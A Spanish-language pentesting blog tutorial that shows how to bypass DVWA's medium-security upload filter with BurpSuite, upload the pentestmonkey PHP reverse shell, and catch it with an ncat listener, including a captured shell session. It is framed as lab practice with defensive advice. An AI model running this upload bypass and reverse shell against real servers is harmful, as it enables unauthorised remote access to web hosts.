¿Recordáis unos abogados de Panamá que perdieron unos papeles? ¿Recordáis que tenían wordpress? ¿Recordáis que no tenían wordpress actualizado? Supongo que sí! Fue un caso bastante sonado, y aunque yo no tengo ni idea de cómo los hackers obtuvieron los famoso Papeles de Panamá, sí que sé que un servidor de wordpress, con un formulario de subida, y un php desactualizado puede ser fácilmente atacado por un Reverse Shell Web.
Si has seguido el tutorial de hacking / pentesting básico, seguro que estás pensando, o deberías estarlo, en BurpSuite. Sí señor, utilizas BurpSuite para cambiar los parámetros enviados al servidor y subes un fichero .php en lugar de un fichero .jpg. Pero…. todavía es peor!!! ¿Recuerdas el post de los Reverse Shell? ¿Que pasa si te suben un reverse shell en tu servidor? Pues que cuando lo ejecuten será como si estuvieran dentro de él.
Subiendo un .php para Reverse Shell a un servidor WEB
Lo primero que vamos a hacer es obtener un .php con el Reverse Shell, no hace falta ni que lo hagamos nosotros, que podríamos, nos lo bajamos directamente de: http://pentestmonkey.net/tools/web-shells/php-reverse-shell. En el caso de que el enlace no funcione tan solo tenemos que buscar pentestmonkey reverse shell php, y si no sale en primera posición estará en segunda.
Nos tendremos que bajar el fichero php-reverse-shell-1.0.tar.gz, y descomprimirlo en la carpeta de nuestra elección.
El fichero que vamos a usar para contagiar el servidor WEB es php-reverse-shell.php
Antes de usarlo tenemos que modificarlo, y informar nuestra IP y el puerto por el que queremos escuchar.
Como se puede ver es muy sencillo saber lo que tenemos que modificar, los creadores del fichero ya nos lo indican. Tenemos que poner la IP y el puerto por el que vamos a estar escuchando. En nuestro caso la IP del ciberlaboratorio que hemos montado, donde corremos BurpSuite, DVWA… y usaremos el puerto 21225.
¿Pero qué servidor vamos a contaminar? No nos volvamos locos!!!! Esto no lo vamos a probar en un servidor de verdad. ¿Os acordáis del post Preparando nuestro ciberlaboratorio para jugar con los SQL Injection? En el instalamos un servidor WEB desarrollado expresamente para ser atacado: DVWA. Pues es el que vamos a usar, el servidor WEB de nuestro Ciberlaboratorio, así que si no lo tienes instalado y quieres seguir los pasos, tendras que instalar DVWA, en el mismo Post lo explico paso a paso.
Para todos aquellos que han seguido el tutorial y ya tenéis DVWA: arranquemos los servicios que DVWA necesita.
[code language=”shell”]
service mysql start
service apache2 start
[/code]
Ya podemos visitar la URL de DVWA:
Una vez en DVWA tenemos que cambiar el nivel de seguridad: trabajaremos con seguridad media, ya que con la mas baja es demasiado sencillo.
Como podemos ver, DVWA nos ofrece un formulario para subir imagenes. Este es el formulario que vamos a tener que romper para que nos permita subir nuestro .php en lugar de una imagen.
Probaremos de subir una imagen normal y corriente, para comprobar que no hay problemas con el formulario de DVWA, que los hay, muchas veces los hay. Si la imagen se sube bien tendríamos que ver algo parecido a:
¿Qué problemas nos podemos encontrar al subir una imagen a DVWA? Pues principalmente dos:
- La imagen es demasiado grande: Buscad una imagen de 5kb o menos y nos ahorramos problemas. Total es para hacer pruebas.
- El directorio donde se suben las imágenes no tiene permisos de escritura. Este problema es muy común en las instalaciones de DVWA. para cambiarlos usad el comando:
[code language=”shell”]
chmod -R 775 /var/www/html/DVWA-master/hackable/uploads/
[/code]Atención, que vuestro directorio de instalación de DVWA puede ser diferente, el mio es: DVWA-master.
Bueno, total, si hemos conseguido subir bien la imagen, ya podemos empezar a pensar en subir nuestra hoja .php engañando a DVWA.
Si lo intentamos así sin mas, DVWA se da cuenta y nos avisa.
Usando BURPSuite para subir el fichero .php
Para subir el .php tenemos que modificar el diálogo entre el navegador y el servidor para engañarlo. Con este fin usaremos BURPSuite.
Con BURPSuite capturaremos el tráfico entre navegador y servidor y lo modificaremos. Si no os acordáis de cómo se configura el navegador y de como usar BURPSuite podeis mirar el post :jugando con los SQL Injection, mas concretamente cuando explico como se usa sqlmap.
Resumiendo, tenemos que cambiar el proxy del navegador, para que use el que usa BURPSuite, y en BURPSuite tenemos que ir al apartado intercept.
Esta vez subimos nuestro fichero .php, pero si os fijais, le hemos incorporado la extensión .jpg para engañar al navegador y se crea que es un fichero de imagen. Cuando le demos al botón Upload, se enviaran los datos al servidor. Nosotros los veremos en BURPSuite.
En la segunda imagen podemos ver que la única modificación realizada ha sido quitar el .jpg de la extensión del fichero .php. En este momento ya hemos pasado la validación del navegador, y lo que le indicamos al servidor es como queremos que se guarde el fichero. Una vez modificada la extensión pulsamos el botón forward, y voila!
Como podemos ver, ya tenemos el fichero .php que usaremos para realizar el reverse shell en el servidor….
Creando el reverse shell para tomar el control del servidor.
Ahora ya podemos dejar DVWA y BurpSuite, ya hemos subido el fichero .php infectado al servidor víctima. Abrimos un terminal de Kali y nos ponemos a escuchar:
[code language=”shell”]
ncat -v -l -p 21225
[/code]
Con esto ya estaremos escuchando, por el puerto que le hemos indicado al fichero .php, ahora solo tenemos que visitar el fichero .php que hemos subido, en mi caso la URL a ejecutar es:
http://localhost/DVWA-master/hackable/uploads/php-reverse-shell.php
Tan pronto como ejecutemos el .php que hemos subido, el Reverse shell empezará a funcionar y podremos actuar como si estuviéramos dentro del servidor.
[code language=”shell”]
root@kali:~# ncat -v -l -p 21225
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::21225
Ncat: Listening on 0.0.0.0:21225
Ncat: Connection from 192.168.1.107.
Ncat: Connection from 192.168.1.107:57942.
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.13-1kali2 (2017-03-07) x86_64 GNU/Linux
18:33:16 up 18 min, 1 user, load average: 0,86, 0,65, 0,46
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty2 :0 18:16 18:30 1:56 0.86s leafpad
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$ ls
0
bin
boot
dev
etc
[/code]
En este caso hemos entrado en nuestro servidor, usando un formulario de subida que conocemos. Parece que este ataque en el mundo real tendría que ser mucho más complicado. Pero no es así, es de los mas sencillos que hay. No tenemos que conocer nada del servidor. Bueno, sí, tiene que usar php, como todos los que tienen wordpress. No tiene que tener .php actualizado, como unos abogados de panamá que se hicieron famosos por perder unos cuantos papeles.
Este ataque se hace mayormente desde la máquina atacante. Manipulas tu navegador, usas BurpSuite en tu ordenador. Lo mas complicado es obtener una IP pública para configurar el fichero .php, pero es tan complicado que se tardan unos 10 minutos.
Este es un ataque muy usado. Si tienes un servidor WEB en el que permites la subida de ficheros, eres una posible víctima. No dudes en intentar atacarte, y sobretodo, actualiza php.